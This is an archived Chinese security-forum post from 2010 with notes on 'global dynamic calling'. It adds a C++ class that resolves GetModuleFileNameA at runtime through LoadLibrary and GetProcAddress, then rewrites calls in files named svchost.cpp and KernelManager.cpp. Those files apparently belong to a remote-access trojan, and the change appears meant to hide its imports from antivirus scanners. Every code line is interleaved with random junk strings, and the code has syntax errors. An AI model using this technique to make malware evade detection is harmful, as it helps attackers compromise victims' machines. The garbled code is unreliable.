标题:
[原创文章]
全局动态调用
[打印本页]
作者:
ice_xke
时间:
2010-10-19 12:30
标题:
全局动态调用
全局动态调用笔记
, _. z- s5 n/ f: H6 H
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
Q3 J9 Z+ \* X" e- P# |5 M: V
----------------------------------------
, P, X; j: a) i8 E% |
DTDY.h:
/ k+ m/ M" ?1 n; O
! K" a+ ? H# q2 x
#if _MSC_VER>1000
6 Q5 l; |$ L4 F" l
#pragma once
& ~! K# e2 H6 c
#endif //_MSC_VER>1000
$ O2 p3 S8 C. u2 | [% R
#include<windows.h>
# [" ?/ G5 p! @) K
- ]9 v7 G1 e1 f- D
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
6 L ~* m5 Z% r
class DTDY
$ D% }5 _7 n) K: a3 M
{
# R9 _" A! X" |' g b9 A
public:
; ?, W1 K7 @* _* {2 m+ X
DTDY();
5 H! N1 A1 g9 [7 w! K4 V: y% H' P' {
virtual ~DTDY();
$ B" J1 S. t! W) |- b0 u
public:
2 l D# I& g3 `. C6 t. I3 A4 s
static pGetModuleFileNameA MyGetModuleFileName;
/ @) X j8 f; R- K
static BOOL FunInitiallization();
8 P' ?0 t6 [) w; H9 O, U
};
/ L! S0 b5 f. p! J$ Z# u
#endif
8 e7 U: H( E1 y1 I% P0 I/ A
----------------------------------------
" t7 J' k; N/ a9 D8 {! D
5 \ p. V5 m" p4 W
DTDY.cpp:
; X' N0 S. A1 S2 N/ P. M
+ R7 d- o9 q& j! ~, g2 o4 p
#include "DTDY.h"
" p9 A8 e+ J8 r( S- E
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
! R |( N- b& ~2 r' J
DTDY:TDY()
+ q6 y I2 _) k' u9 C
{
" S$ D. s0 A7 F0 ?' W% }+ N
}
* y; Y. a& A0 K4 g- z
DTDY::~DTDY()
7 @1 ~# n4 T5 S( L! C& ?
{
[; a* X8 U% D& _; g
}
" w _ m: g% y
BOOL DTDY::FunInitiallization()
. }7 Q# r- ~0 H1 c. W
{
1 ]4 _$ C/ A, L
HMODULE hModule=LoadLibrary("kernel32.dll");
' \) |( e n9 y! v" `- `# d
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
0 R) r* q3 e( q8 C+ n& {
if(!MyGetModuleFileName=) return FALSE;
# e0 Y, f/ ]4 C) N
+ y4 v3 x1 l' o9 j! s5 a
return TRUE;
& _2 r. C6 F1 `6 M$ i+ `
}
2 J% n/ e" p5 _
----------------------------------------
" D( t4 u8 Q$ [ n: o: z) J2 \
svchost.cpp:
0 q- ?, ~# ]* j, U! a7 |: B
, L' s( _: Z; w$ k1 R% A9 B. J
#include "DTDY.h"
! H d( |& {& v
9 b2 O0 m5 { s% `# g/ K, F; I
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
1 z9 Q8 t3 S p' b1 R) |
{
: C% m' p/ A# [" W
switch(ul_reason_for_call)
7 N {- _; Q) }/ z( `. k/ w
{
$ U8 c( b6 Q* ]" f% R
case DLL_PROCESS_ATTACH:
5 |+ g- u& B/ f7 j' Y ]
if(!DTDY::FunInitiallization()) return FALSE;
% K9 t2 Z6 F" u9 A8 c- H
4 z9 E2 q; z. N3 j: s
break;
: x* _" q( {' a
}
6 g7 d$ k; p# a e+ n, t2 `# E0 l
}
5 g) j- x2 b0 d2 Q0 g; h
, g, F8 F! ]' ^9 P4 p
* c' k) a$ ^" s* Q
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
6 v& _& S) O4 O N: _) X# |
改写为
- u3 O. O5 |5 i4 `
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
: L" a1 D& o3 v% }/ b
----------------------------------------
: C/ }& i. r' K% r' z
KernelManager.cpp:
5 R3 K% I, x% m* {& j* l; \: t2 ]
8 {* |1 O; I& g, i, ?3 J$ {; q& \
#include "../DTDY.h"
{: A$ v; ?& v
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
, e( y& Y& c; y- R7 Z# u! k
改写为
8 S1 S9 \; Y( t& L- ]; [) F
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
' Y( a: E, o1 \3 N
----------------------------------------
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./)
Powered by Discuz! 7.2